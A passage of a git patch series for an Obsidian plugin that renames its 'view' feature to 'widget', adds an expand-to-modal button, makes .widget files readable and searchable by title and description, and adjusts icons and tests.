libraries", () => { it("ships Plotly as a self-contained build that defines its global", () => { - const plotly = VIEW_LIBS.plotly; + const plotly = WIDGET_LIBS.plotly; expect(plotly.global).toBe("Plotly"); expect(plotly.source.length).toBeGreaterThan(500_000); expect(plotly.source).toContain("Plotly"); @@ -15,10 +15,10 @@ describe("view libraries", () => { it("patches the Plotly build so no dynamic-code construct ships in main.js", () => { // The unit-test import is the unpatched file (vitest does not run vite.config's // plugins); the build applies exactly this function before inlining it. - const patched = patchVendoredLib(PLOTLY_PATH, VIEW_LIBS.plotly.source); + const patched = patchVendoredLib(PLOTLY_PATH, WIDGET_LIBS.plotly.source); for (const [, pattern] of VENDORED_LIB_FORBIDDEN) expect(patched).not.toMatch(pattern); expect(patched).toContain("globalThis"); - expect(patched.length).toBeLessThan(VIEW_LIBS.plotly.source.length); + expect(patched.length).toBeLessThan(WIDGET_LIBS.plotly.source.length); }); it("fails loudly when a library changes under a patch", () => { @@ -26,13 +26,13 @@ describe("view libraries", () => { expect(() => patchVendoredLib(PLOTLY_PATH, 'new Function("return this")() eval(x)')).toThrow( /still contains eval/, ); - expect(() => patchVendoredLib("node_modules/other/lib.js", "x")).toThrow(/not a vendored view library/); + expect(() => patchVendoredLib("node_modules/other/lib.js", "x")).toThrow(/not a vendored widget library/); }); it("resolves known ids in order, deduplicated, and reports unknown ones", () => { - const { sources, unknown } = resolveViewLibs(["plotly", "nope", "plotly", "other"]); - expect(sources).toEqual([VIEW_LIBS.plotly.source]); + const { sources, unknown } = resolveWidgetLibs(["plotly", "nope", "plotly", "other"]); + expect(sources).toEqual([WIDGET_LIBS.plotly.source]); expect(unknown).toEqual(["nope", "other"]); - expect(resolveViewLibs([])).toEqual({ sources: [], unknown: [] }); + expect(resolveWidgetLibs([])).toEqual({ sources: [], unknown: [] }); }); }); diff --git a/test/genview/viewQueries.test.ts b/test/widget/widgetQueries.test.ts similarity index 86% rename from test/genview/viewQueries.test.ts rename to test/widget/widgetQueries.test.ts index 599fdab0..4e88ffa8 100644 --- a/test/genview/viewQueries.test.ts +++ b/test/widget/widgetQueries.test.ts @@ -1,6 +1,6 @@ import type { App } from "obsidian"; import { describe, expect, it, vi } from "vitest"; -import { DATAVIEW_MISSING_ERROR, runViewQueries, serializeDataviewValue } from "../../src/genview/viewQueries"; +import { DATAVIEW_MISSING_ERROR, runWidgetQueries, serializeDataviewValue } from "../../src/widget/widgetQueries"; function appWithDataview(api: unknown): App { return { plugins: { plugins: api ? { dataview: { api } } : {} } } as unknown as App; @@ -54,13 +54,13 @@ describe("serializeDataviewValue", () => { }); }); -describe("runViewQueries", () => { - it("returns nothing for a view without queries and never touches Dataview", async () => { - expect(await runViewQueries(appWithDataview(null), {}, "x.md")).toEqual({}); +describe("runWidgetQueries", () => { + it("returns nothing for a widget without queries and never touches Dataview", async () => { + expect(await runWidgetQueries(appWithDataview(null), {}, "x.md")).toEqual({}); }); it("reports a missing Dataview plugin per query", async () => { - const results = await runViewQueries(appWithDataview(null), { a: "LIST", b: "TABLE" }, "x.md"); + const results = await runWidgetQueries(appWithDataview(null), { a: "LIST", b: "TABLE" }, "x.md"); expect(results).toEqual({ a: { error: DATAVIEW_MISSING_ERROR }, b: { error: DATAVIEW_MISSING_ERROR } }); }); @@ -82,7 +82,7 @@ describe("runViewQueries", () => { if (source.startsWith("BOOM")) throw new Error("kaboom"); return { successful: false, error: " bad query " }; }); - const results = await runViewQueries( + const results = await runWidgetQueries( appWithDataview({ query }), { t: "TABLE n FROM #x", l: "LIST", e: "BOOM", f: "nope" }, "Notes/origin.md", diff --git a/test/genview/viewSpec.test.ts b/test/widget/widgetSpec.test.ts similarity index 59% rename from test/genview/viewSpec.test.ts rename to test/widget/widgetSpec.test.ts index 81674533..b8527757 100644 --- a/test/genview/viewSpec.test.ts +++ b/test/widget/widgetSpec.test.ts @@ -1,14 +1,14 @@ import { describe, expect, it } from "vitest"; -import { parseViewSpec, viewFileBasename, wrapViewFence } from "../../src/genview/viewSpec"; +import { parseWidgetSpec, widgetFileBasename, wrapWidgetFence } from "../../src/widget/widgetSpec"; -describe("parseViewSpec", () => { +describe("parseWidgetSpec", () => { it("treats a source without frontmatter as body only", () => { - const spec = parseViewSpec("\n<div>hi</div>\n"); + const spec = parseWidgetSpec("\n<div>hi</div>\n"); expect(spec).toEqual({ queries: {}, libs: [], body: "<div>hi</div>" }); }); it("parses title, height and scalar queries", () => { - const spec = parseViewSpec( + const spec = parseWidgetSpec( [ "---", 'title: "Tags overview"', @@ -30,7 +30,7 @@ describe("parseViewSpec", () => { }); it("parses block-scalar queries and stops at the next top-level key", () => { - const spec = parseViewSpec( + const spec = parseWidgetSpec( [ "---", "queries:", @@ -51,48 +51,48 @@ describe("parseViewSpec", () => { }); it("ignores unknown keys, comments and invalid heights", () => { - const spec = parseViewSpec("---\n# comment\nfoo: bar\nheight: tall\ntitle:\n---\nx"); + const spec = parseWidgetSpec("---\n# comment\nfoo: bar\nheight: tall\ntitle:\n---\nx"); expect(spec.title).toBeUndefined(); expect(spec.height).toBeUndefined(); expect(spec.body).toBe("x"); }); it("parses libs as a scalar, a flow list, or a block list", () => { - expect(parseViewSpec("---\nlibs: plotly\n---\nx").libs).toEqual(["plotly"]); - expect(parseViewSpec("---\nlibs: plotly, three\n---\nx").libs).toEqual(["plotly", "three"]); - expect(parseViewSpec('---\nlibs: ["plotly", three]\n---\nx').libs).toEqual(["plotly", "three"]); - const block = parseViewSpec("---\nlibs:\n - plotly\n - 'three'\ntitle: T\n---\nx"); + expect(parseWidgetSpec("---\nlibs: plotly\n---\nx").libs).toEqual(["plotly"]); + expect(parseWidgetSpec("---\nlibs: plotly, three\n---\nx").libs).toEqual(["plotly", "three"]); + expect(parseWidgetSpec('---\nlibs: ["plotly", three]\n---\nx').libs).toEqual(["plotly", "three"]); + const block = parseWidgetSpec("---\nlibs:\n - plotly\n - 'three'\ntitle: T\n---\nx"); expect(block.libs).toEqual(["plotly", "three"]); expect(block.title).toBe("T"); - expect(parseViewSpec("---\ntitle: T\n---\nx").libs).toEqual([]); + expect(parseWidgetSpec("---\ntitle: T\n---\nx").libs).toEqual([]); }); it("falls back to body-only when the frontmatter never closes", () => { - const spec = parseViewSpec("---\ntitle: nope\n<div></div>"); + const spec = parseWidgetSpec("---\ntitle: nope\n<div></div>"); expect(spec.title).toBeUndefined(); expect(spec.body).toBe("---\ntitle: nope\n<div></div>"); }); }); -describe("wrapViewFence", () => { +describe("wrapWidgetFence", () => { it("wraps in a three-backtick fence by default", () => { - expect(wrapViewFence("<b>x</b>\n")).toBe("```s2b-view\n<b>x</b>\n```\n"); + expect(wrapWidgetFence("<b>x</b>\n")).toBe("```s2b-widget\n<b>x</b>\n```\n"); }); it("uses a longer fence when the body contains backtick runs", () => { - const fenced = wrapViewFence("<script>const s = `a`; /* ``` */</script>"); - expect(fenced.startsWith("````s2b-view\n")).toBe(true); + const fenced = wrapWidgetFence("<script>const s = `a`; /* ``` */</script>"); + expect(fenced.startsWith("````s2b-widget\n")).toBe(true); expect(fenced.endsWith("\n````\n")).toBe(true); }); }); -describe("viewFileBasename", () => { +describe("widgetFileBasename", () => { it("strips characters that are illegal in vault paths", () => { - expect(viewFileBasename('Tasks: due/overdue? [#1] "now"')).toBe("Tasks due overdue 1 now"); + expect(widgetFileBasename('Tasks: due/overdue? [#1] "now"')).toBe("Tasks due overdue 1 now"); }); - it("falls back to View", () => { - expect(viewFileBasename(undefined)).toBe("View"); - expect(viewFileBasename("///")).toBe("View"); + it("falls back to Widget", () => { + expect(widgetFileBasename(undefined)).toBe("Widget"); + expect(widgetFileBasename("///")).toBe("Widget"); }); }); diff --git a/vite.config.ts b/vite.config.ts index 58bcce92..a165d8f6 100644 --- a/vite.config.ts +++ b/vite.config.ts @@ -1,6 +1,6 @@ // vite.config.ts import { svelte, vitePreprocess } from "@sveltejs/vite-plugin-svelte"; -import { patchVendoredLib, vendoredLibPatchesFor } from "./src/genview/vendoredLibPatches"; +import { patchVendoredLib, vendoredLibPatchesFor } from "./src/widget/vendoredLibPatches"; import { defineConfig, type Plugin } from "vite"; import { copyFileSync, readFileSync } from "node:fs"; import { resolve } from "node:path"; @@ -213,12 +213,12 @@ function shimModules(isProduction: boolean): Plugin { } /** - * Serve the browser bundles a view can request (`src/genview/viewLibs.ts`) as raw text - * with their build-time patches applied (`src/genview/vendoredLibPatches.ts`), so the + * Serve the browser bundles a widget can request (`src/widget/widgetLibs.ts`) as raw text + * with their build-time patches applied (`src/widget/vendoredLibPatches.ts`), so the * string literal that lands in main.js is the patched one. A `load` hook, so the file * never passes through Vite's own `?raw` handling unpatched. */ -function vendoredViewLibs(): Plugin { +function vendoredWidgetLibs(): Plugin { return { name: "vendored-view-libs", enforce: "pre", @@ -248,7 +248,7 @@ export default defineConfig(({ mode }) => { return { plugins: [ shimModules(!isDevelopment), - vendoredViewLibs(), + vendoredWidgetLibs(), svelte({ preprocess: vitePreprocess(), onwarn: (warning, handler) => { From 26db94f8e2ffe45adeb26751c81192254b44bf9f Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 20:57:37 +0200 Subject: [PATCH 12/21] test: expected note-tool message after the widget rename Co-Authored-By: Claude <noreply@anthropic.com> --- test/agent/editNote.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/agent/editNote.test.ts b/test/agent/editNote.test.ts index a7e3084d..94e8120f 100644 --- a/test/agent/editNote.test.ts +++ b/test/agent/editNote.test.ts @@ -220,7 +220,7 @@ describe("manageNotes tool (update operations)", () => { THREAD_CONFIG, ); - expect(result).toContain("Only notes (.md) and views (.widget)"); + expect(result).toContain("Only notes (.md) and widgets (.widget)"); expect(mockAddChanges).not.toHaveBeenCalled(); }); From d813ee8de0c7b5e7f3c4a43603f31d71727ef590 Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 21:04:10 +0200 Subject: [PATCH 13/21] fix(widgets): leaf class names match the stylesheet again The rename's word pass turned s2b-widget-view into s2b-widget-widget in the widget view's element classes while the stylesheet kept s2b-widget-view, so the pane body and source editor lost their layout rules. Co-Authored-By: Claude <noreply@anthropic.com> --- src/views/widget/WidgetView.ts | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/src/views/widget/WidgetView.ts b/src/views/widget/WidgetView.ts index a3fdab7a..64e938a3 100644 --- a/src/views/widget/WidgetView.ts +++ b/src/views/widget/WidgetView.ts @@ -49,8 +49,8 @@ export class WidgetView extends FileView { async onOpen(): Promise<void> { await super.onOpen(); this.contentEl.empty(); - this.contentEl.addClass("s2b-widget-widget"); - this.body = this.contentEl.createDiv({ cls: "s2b-widget-widget-body" }); + this.contentEl.addClass("s2b-widget-view"); + this.body = this.contentEl.createDiv({ cls: "s2b-widget-view-body" }); this.addAction("pencil", "Edit source", () => void this.toggleSource()); this.addAction("refresh-cw", "Refresh", () => void this.render()); @@ -126,19 +126,19 @@ export class WidgetView extends FileView { this.dropChild(); this.body.empty(); this.sourceMtime = file.stat.mtime; - this.source = this.body.createDiv({ cls: "s2b-widget-widget-source" }); + this.source = this.body.createDiv({ cls: "s2b-widget-view-source" }); const textarea = this.source.createEl("textarea", { - cls: "s2b-widget-widget-source-text", + cls: "s2b-widget-view-source-text", attr: { spellcheck: "false", "aria-label": "Widget source" }, }); textarea.value = text; - const bar = this.source.createDiv({ cls: "s2b-widget-widget-source-bar" }); + const bar = this.source.createDiv({ cls: "s2b-widget-view-source-bar" }); const save = bar.createEl("button", { text: "Save", cls: "mod-cta" }); const cancel = bar.createEl("button", { text: "Cancel" }); - const hint = bar.createSpan({ cls: "s2b-widget-widget-source-hint" }); + const hint = bar.createSpan({ cls: "s2b-widget-view-source-hint" }); setIcon(hint, "info"); hint.createSpan({ text: "Frontmatter (title, height, queries, libs), then the HTML." }); - this.sourceStaleHint = bar.createSpan({ cls: "s2b-widget-widget-source-hint s2b-widget-widget-source-stale" }); + this.sourceStaleHint = bar.createSpan({ cls: "s2b-widget-view-source-hint s2b-widget-view-source-stale" }); this.sourceStaleHint.hide(); save.addEventListener("click", () => void this.saveSource(textarea.value)); cancel.addEventListener("click", () => void this.toggleSource()); From 81ce15bdf220187a4f4a1a20e42d95d4e4fe9dee Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 21:15:10 +0200 Subject: [PATCH 14/21] feat(widgets): expand a widget from the chat to a near-fullscreen modal MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A third toolbar button, "Expand", opens the widget in a modal sized to almost the whole window for a closer look without saving it. It renders a fresh copy in fill mode — an iframe cannot be moved in the DOM without reloading — and tears it down on close; Esc and the close button work as in any modal. Exposed as `plugin.openWidgetModal(spec, sourcePath)` so other entry points can reuse it. Co-Authored-By: Claude <noreply@anthropic.com> --- src/main.ts | 7 ++++++ src/styles.css | 15 +++++++++++++ src/widget/WidgetModal.ts | 35 ++++++++++++++++++++++++++++++ src/widget/registerWidgetBlocks.ts | 19 +++++++++++----- 4 files changed, 71 insertions(+), 5 deletions(-) create mode 100644 src/widget/WidgetModal.ts diff --git a/src/main.ts b/src/main.ts index 1148db65..1bec2ef0 100755 --- a/src/main.ts +++ b/src/main.ts @@ -30,6 +30,8 @@ import { onCodexSessionChange } from "./stores/providerRuntime.svelte"; import { invalidateAuthState, invalidateProviderState } from "./lib/query"; import { LexicalSearchService } from "./search/LexicalSearchService"; import { registerWidgetBlocks } from "./widget/registerWidgetBlocks"; +import { WidgetModal } from "./widget/WidgetModal"; +import type { WidgetSpec } from "./widget/widgetSpec"; import { WIDGET_HOVER_SOURCE } from "./widget/WidgetRenderChild"; import { WidgetView, WIDGET_FILE_EXTENSION, VIEW_TYPE_WIDGET } from "./views/widget/WidgetView"; import { registerWidgetEmbed, unregisterWidgetEmbed } from "./views/widget/widgetEmbed"; @@ -931,6 +933,11 @@ export default class SecondBrainPlugin extends Plugin { return this.agentManager.openLatestChat(); } + /** Show a widget expanded to almost the whole window (the chat toolbar's "Expand"). */ + openWidgetModal(spec: WidgetSpec, sourcePath = ""): void { + new WidgetModal(this.app, spec, sourcePath).open(); + } + async activateSmartGraphView() { const { workspace } = this.app; diff --git a/src/styles.css b/src/styles.css index c8adcf50..1862c14b 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1663,6 +1663,21 @@ body.is-mobile .tool-output-content pre .clickable-icon { position: relative; margin: var(--size-4-2) 0; } +/* ---- A widget expanded from the chat (widget/WidgetModal) ---- */ +.modal.s2b-widget-modal { + width: min(96vw, 1800px); + max-width: none; + height: 92vh; + max-height: 92vh; + display: flex; + flex-direction: column; +} +.s2b-widget-modal .modal-content.s2b-widget-modal-content { + position: relative; + flex: 1; + min-height: 0; + padding: 0; +} /* ---- A widget as its own leaf (views/widget) ---- */ .view-content.s2b-widget-view { padding: 0; diff --git a/src/widget/WidgetModal.ts b/src/widget/WidgetModal.ts new file mode 100644 index 00000000..c95e9ecd --- /dev/null +++ b/src/widget/WidgetModal.ts @@ -0,0 +1,35 @@ +import { type App, Modal } from "obsidian"; +import { WidgetRenderChild } from "./WidgetRenderChild"; +import type { WidgetSpec } from "./widgetSpec"; + +/** + * A widget expanded to (almost) the whole window. Used from the chat toolbar for a + * closer look without saving. It renders a fresh copy of the widget in fill mode — an + * iframe cannot be moved in the DOM without reloading, so there is nothing to gain from + * trying to reuse the inline one — and tears it down on close. + */ +export class WidgetModal extends Modal { + private child: WidgetRenderChild | null = null; + + constructor( + app: App, + private readonly spec: WidgetSpec, + private readonly sourcePath: string, + ) { + super(app); + } + + onOpen(): void { + this.modalEl.addClass("s2b-widget-modal"); + this.titleEl.setText(this.spec.title ?? "Widget"); + this.contentEl.addClass("s2b-widget-modal-content"); + this.child = new WidgetRenderChild(this.contentEl, this.app, this.spec, this.sourcePath, { fill: true }); + this.child.load(); + } + + onClose(): void { + this.child?.unload(); + this.child = null; + this.contentEl.empty(); + } +} diff --git a/src/widget/registerWidgetBlocks.ts b/src/widget/registerWidgetBlocks.ts index 6d8af6b5..a996fae3 100644 --- a/src/widget/registerWidgetBlocks.ts +++ b/src/widget/registerWidgetBlocks.ts @@ -46,7 +46,7 @@ export function registerWidgetBlocks(plugin: SecondBrainPlugin): void { // Inside a chat the block is a proposal the user may want to keep, so it gets a // toolbar; in a note it already is the note's content. if (el.closest(`.workspace-leaf-content[data-type="${VIEW_TYPE_CHAT}"]`)) { - renderChatToolbar(plugin, el, spec, source); + renderChatToolbar(plugin, el, spec, source, ctx.sourcePath); } ctx.addChild(new WidgetRenderChild(el, plugin.app, spec, ctx.sourcePath)); }); @@ -68,11 +68,17 @@ function renderPlaceholder(el: HTMLElement): void { } /** - * Two ways to keep a widget from the chat: copy it as a fence to paste inline into a - * note, or save it as a standalone `.widget` file — which opens as its own pane, is - * embeddable with `![[name.widget]]`, and stays out of the search indexes. + * From the chat a widget can be expanded for a closer look, copied as a fence to paste + * inline into a note, or saved as a standalone `.widget` file — which opens as its own + * pane, is embeddable with `![[name.widget]]`, and stays out of the search indexes. */ -function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: WidgetSpec, source: string): void { +function renderChatToolbar( + plugin: SecondBrainPlugin, + el: HTMLElement, + spec: WidgetSpec, + source: string, + sourcePath: string, +): void { const bar = el.createDiv({ cls: "s2b-widget-toolbar" }); bar.createSpan({ cls: "s2b-widget-toolbar-title", text: spec.title ?? "Widget" }); // Saving twice from the same block would create a second file: share one in-flight @@ -86,6 +92,9 @@ function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: Wid return saving; }; + iconButton(bar, "maximize-2", "Expand", async () => { + plugin.openWidgetModal(spec, sourcePath); + }); iconButton(bar, "copy", "Copy as block to paste into a note", async () => { await navigator.clipboard.writeText(wrapWidgetFence(source)); new Notice("Widget block copied. Paste it into any note."); From 975f090f7a1d0a62776959844628ac152ab90f98 Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 21:24:55 +0200 Subject: [PATCH 15/21] feat(widgets): the agent can read a .widget file, and the skill says how to revise one read_content only reads extensions on the shared text allow-list, so the agent could edit a saved widget through manage_notes but not see its current source first. `.widget` is on the list now, and the widgets skill spells out the revise flow: read, stage a find/replace or rewrite, the user reviews the diff, and the open pane and embeds re-render on accept. Widget files are deliberately absent from search, so it also says to ask for the path or list the widgets folder. Co-Authored-By: Claude <noreply@anthropic.com> --- src/skills/defaults/widgets/SKILL.md | 6 ++++++ src/types/shared.ts | 9 ++++++++- 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/src/skills/defaults/widgets/SKILL.md b/src/skills/defaults/widgets/SKILL.md index ebf86fdc..a8a02863 100644 --- a/src/skills/defaults/widgets/SKILL.md +++ b/src/skills/defaults/widgets/SKILL.md @@ -20,6 +20,12 @@ embedded in any note with `![[Name.widget]]`. Do not create that file yourself u asked; if the user does ask, stage it with `manage_notes` as `<folder>/<Name>.widget` whose content is the fence **body** only — frontmatter, then HTML, no fence markers. +To **change an existing widget file**, read it first with `read_content` (it is plain text), +then stage the edit with `manage_notes` — a targeted find/replace for a small change, a full +rewrite for a redesign. The user reviews the diff; once accepted, an open pane and every +embed of that widget re-render by themselves. Widget files are not in search results, so ask +the user for the path or use `list_directory` on the widgets folder if you do not know it. + ## Format ````markdown ```s2b-widget diff --git a/src/types/shared.ts b/src/types/shared.ts index 6839c80e..ff0e3e67 100644 --- a/src/types/shared.ts +++ b/src/types/shared.ts @@ -33,7 +33,14 @@ export const IMAGE_EXTENSIONS = new Set(["png", "jpg", "jpeg", "gif", "webp"]); /** File extensions considered PDFs */ export const PDF_EXTENSIONS = new Set(["pdf"]); /** File extensions considered plain-text documents */ -export const TEXT_EXTENSIONS = new Set(["md", "txt", "csv", "json"]); +export const TEXT_EXTENSIONS = new Set([ + "md", + "txt", + "csv", + "json", + // A standalone widget (`.widget`, see views/widget): frontmatter, then HTML — text the agent reads to revise it. + "widget", +]); // ============================================================================ // Pending Changes (Staged Write Operations) From 57ccf0e23d2fc3b34d1caf6bd684b1f37ee3aa1e Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 21:32:25 +0200 Subject: [PATCH 16/21] feat(widgets): a .widget file is findable by its title and description MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Widget files were kept out of the indexes entirely so their markup and script could not become retrieval chunks — which also meant the agent could not find one by name. They are indexable now, but contribute only their frontmatter `title` and the new optional `description` line; the body never enters the index. The skill asks for a description on every widget and points search_notes at it for revisions. Co-Authored-By: Claude <noreply@anthropic.com> --- src/skills/defaults/widgets/SKILL.md | 9 ++++++--- src/utils/fileFiltering.ts | 11 +++++++---- src/widget/widgetSpec.ts | 16 +++++++++++++++- test/widget/widgetSpec.test.ts | 17 ++++++++++++++++- 4 files changed, 44 insertions(+), 9 deletions(-) diff --git a/src/skills/defaults/widgets/SKILL.md b/src/skills/defaults/widgets/SKILL.md index a8a02863..c10ed236 100644 --- a/src/skills/defaults/widgets/SKILL.md +++ b/src/skills/defaults/widgets/SKILL.md @@ -23,8 +23,9 @@ content is the fence **body** only — frontmatter, then HTML, no fence markers. To **change an existing widget file**, read it first with `read_content` (it is plain text), then stage the edit with `manage_notes` — a targeted find/replace for a small change, a full rewrite for a redesign. The user reviews the diff; once accepted, an open pane and every -embed of that widget re-render by themselves. Widget files are not in search results, so ask -the user for the path or use `list_directory` on the widgets folder if you do not know it. +embed of that widget re-render by themselves. `search_notes` finds a saved widget by its +title and description only (never its code); if that fails, use `list_directory` on the +widgets folder or ask the user for the path. ## Format ````markdown @@ -58,7 +59,9 @@ queries: ``` ```` -Frontmatter keys (all optional): `title` (toolbar label and note name when saved), +Frontmatter keys (all optional): `title` (toolbar label and file name when saved), +`description` (one line on what the widget shows — with the title, the only text of a saved +widget that search sees, so always give one), `height` (frame height in px; omit to size to content — with it, the layout gets that height and the frame still shrinks if the drawn content is shorter), `queries` (name → Dataview DQL string; use `|` for a multi-line query), `libs` (bundled libraries to load, see diff --git a/src/utils/fileFiltering.ts b/src/utils/fileFiltering.ts index 07480a6f..06df23c6 100644 --- a/src/utils/fileFiltering.ts +++ b/src/utils/fileFiltering.ts @@ -1,5 +1,6 @@ import { Platform, type TFile, type Vault } from "obsidian"; import { stripWidgetFences } from "../widget/widgetFences"; +import { widgetIndexText } from "../widget/widgetSpec"; import { getAgentPathSource } from "./agentPathSource"; import { agentRootDir } from "./agentPaths"; import { THREAD_DATA_DEDUP_VERSION, inflateThreadData, sniffThreadDataVersion } from "../agent/threadDataCodec"; @@ -103,7 +104,7 @@ export function shouldProcessVaultPath(filePath: string, targetFolder: string): * Extensions whose content can be read as UTF-8 text via `vault.cachedRead()` * or `vault.read()`. Canvas files are JSON internally and included here. */ -const TEXT_INDEXABLE_EXTENSIONS = new Set(["md", "txt", "csv", "json", "yaml", "yml", "canvas", "chat"]); +const TEXT_INDEXABLE_EXTENSIONS = new Set(["md", "txt", "csv", "json", "yaml", "yml", "canvas", "chat", "widget"]); /** * Extensions whose text is extracted from a binary container rather than read @@ -252,9 +253,11 @@ export function getEmbeddableVaultFiles(vault: Vault): TFile[] { */ export async function readIndexableContent(vault: Vault, file: TFile): Promise<string> { const raw = await readIndexableContentRaw(vault, file); - // A widget fence's HTML/JS is noise to retrieval (and would surface as chunks); keep - // only a marker with its title. `.widget` files themselves are not indexable at all. - const content = file.extension === "md" ? stripWidgetFences(raw) : raw; + // A widget's HTML/JS is noise to retrieval (and would surface as chunks). A fence in a + // note is replaced by a marker with its title; a `.widget` file contributes its title + // and description only — enough to be found by what it is about. + const content = + file.extension === "md" ? stripWidgetFences(raw) : file.extension === "widget" ? widgetIndexText(raw) : raw; const cap = maxIndexedTextChars(file); return content.length > cap ? content.slice(0, cap) : content; } diff --git a/src/widget/widgetSpec.ts b/src/widget/widgetSpec.ts index 0ce745da..d2d58d10 100644 --- a/src/widget/widgetSpec.ts +++ b/src/widget/widgetSpec.ts @@ -27,8 +27,10 @@ export const WIDGET_BLOCK_LANGUAGE = "s2b-widget"; export interface WidgetSpec { - /** Shown in the chat toolbar and used as the note name when saved. */ + /** Shown in the chat toolbar and used as the file name when saved. */ title?: string; + /** One line on what the widget shows. With the title, the only text of a `.widget` file that is indexed. */ + description?: string; /** Fixed frame height in px. When absent the frame follows its content height. */ height?: number; /** Named Dataview queries, run by the host and kept live. */ @@ -96,6 +98,8 @@ function parseFrontmatter(lines: string[]): WidgetSpec { const value = unquote(rawValue); if (key === "title" && value) { spec.title = value; + } else if (key === "description" && value) { + spec.description = value; } else if (key === "height") { const height = Number.parseInt(value, 10); if (Number.isFinite(height) && height > 0) spec.height = height; @@ -199,6 +203,16 @@ export function wrapWidgetFence(source: string): string { return `${fence}${WIDGET_BLOCK_LANGUAGE}\n${source.trim()}\n${fence}\n`; } +/** + * The text a `.widget` file contributes to the search indexes: its title and description, + * never its body. Enough to find a widget by what it is about; no markup or script becomes + * a chunk. Empty when it has neither (the indexer then falls back to the file name). + */ +export function widgetIndexText(source: string): string { + const { title, description } = parseWidgetSpec(source); + return [title, description].filter((part): part is string => Boolean(part)).join("\n"); +} + /** A vault-safe note basename for a widget, from its title. */ export function widgetFileBasename(title: string | undefined): string { const cleaned = (title ?? "") diff --git a/test/widget/widgetSpec.test.ts b/test/widget/widgetSpec.test.ts index b8527757..ba270629 100644 --- a/test/widget/widgetSpec.test.ts +++ b/test/widget/widgetSpec.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { parseWidgetSpec, widgetFileBasename, wrapWidgetFence } from "../../src/widget/widgetSpec"; +import { parseWidgetSpec, widgetFileBasename, widgetIndexText, wrapWidgetFence } from "../../src/widget/widgetSpec"; describe("parseWidgetSpec", () => { it("treats a source without frontmatter as body only", () => { @@ -74,6 +74,21 @@ describe("parseWidgetSpec", () => { }); }); +describe("widgetIndexText", () => { + it("indexes the title and description only, never the body", () => { + const text = widgetIndexText( + "---\ntitle: Vault dashboard\ndescription: Edits per day and open tasks\n---\n<div id=app>secret markup</div><script>const x = 1;</script>", + ); + expect(text).toBe("Vault dashboard\nEdits per day and open tasks"); + expect(text).not.toContain("markup"); + }); + + it("is empty for a widget without title or description", () => { + expect(widgetIndexText("<p>body only</p>")).toBe(""); + expect(parseWidgetSpec("---\ndescription: Only this\n---\nx").description).toBe("Only this"); + }); +}); + describe("wrapWidgetFence", () => { it("wraps in a three-backtick fence by default", () => { expect(wrapWidgetFence("<b>x</b>\n")).toBe("```s2b-widget\n<b>x</b>\n```\n"); From 394e79343f6f78045d91f7272d318375130792e3 Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 21:35:00 +0200 Subject: [PATCH 17/21] fix(widgets): own icon instead of Canvas's layout-dashboard is the Canvas icon; widgets (the file view's tab and the core skill) now use app-window, verified to resolve in the bundled icon set. Co-Authored-By: Claude <noreply@anthropic.com> --- src/agent/integrations/pluginIntegrations.ts | 2 +- src/views/widget/WidgetView.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/agent/integrations/pluginIntegrations.ts b/src/agent/integrations/pluginIntegrations.ts index 6a8e4d46..ba2e0267 100644 --- a/src/agent/integrations/pluginIntegrations.ts +++ b/src/agent/integrations/pluginIntegrations.ts @@ -199,7 +199,7 @@ const BUNDLED_CORE_SKILL_ICONS: Record<string, string> = { "manage-notes": "file-pen", web: "globe", "manage-skills": "wand-2", - widgets: "layout-dashboard", + widgets: "app-window", }; /** diff --git a/src/views/widget/WidgetView.ts b/src/views/widget/WidgetView.ts index 64e938a3..6810feb0 100644 --- a/src/views/widget/WidgetView.ts +++ b/src/views/widget/WidgetView.ts @@ -39,7 +39,7 @@ export class WidgetView extends FileView { } getIcon(): string { - return "layout-dashboard"; + return "app-window"; } canAcceptExtension(extension: string): boolean { From b3a4bf9906a33062eebfa54bace3a998f95485d9 Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 21:48:07 +0200 Subject: [PATCH 18/21] fix(widgets): use the component icon Co-Authored-By: Claude <noreply@anthropic.com> --- src/agent/integrations/pluginIntegrations.ts | 2 +- src/views/widget/WidgetView.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/agent/integrations/pluginIntegrations.ts b/src/agent/integrations/pluginIntegrations.ts index ba2e0267..a2596915 100644 --- a/src/agent/integrations/pluginIntegrations.ts +++ b/src/agent/integrations/pluginIntegrations.ts @@ -199,7 +199,7 @@ const BUNDLED_CORE_SKILL_ICONS: Record<string, string> = { "manage-notes": "file-pen", web: "globe", "manage-skills": "wand-2", - widgets: "app-window", + widgets: "component", }; /** diff --git a/src/views/widget/WidgetView.ts b/src/views/widget/WidgetView.ts index 6810feb0..bb7b9475 100644 --- a/src/views/widget/WidgetView.ts +++ b/src/views/widget/WidgetView.ts @@ -39,7 +39,7 @@ export class WidgetView extends FileView { } getIcon(): string { - return "app-window"; + return "component"; } canAcceptExtension(extension: string): boolean { From 3c1b08c58848173d4c52d489919f9c9d0a3f6f82 Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 21:56:00 +0200 Subject: [PATCH 19/21] feat(widgets): a widget can choose its own icon MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `icon:` in the frontmatter names a Lucide icon shown on the widget's tab and in the chat toolbar; the default stays `component`, and a name Obsidian's icon set does not know falls back to it 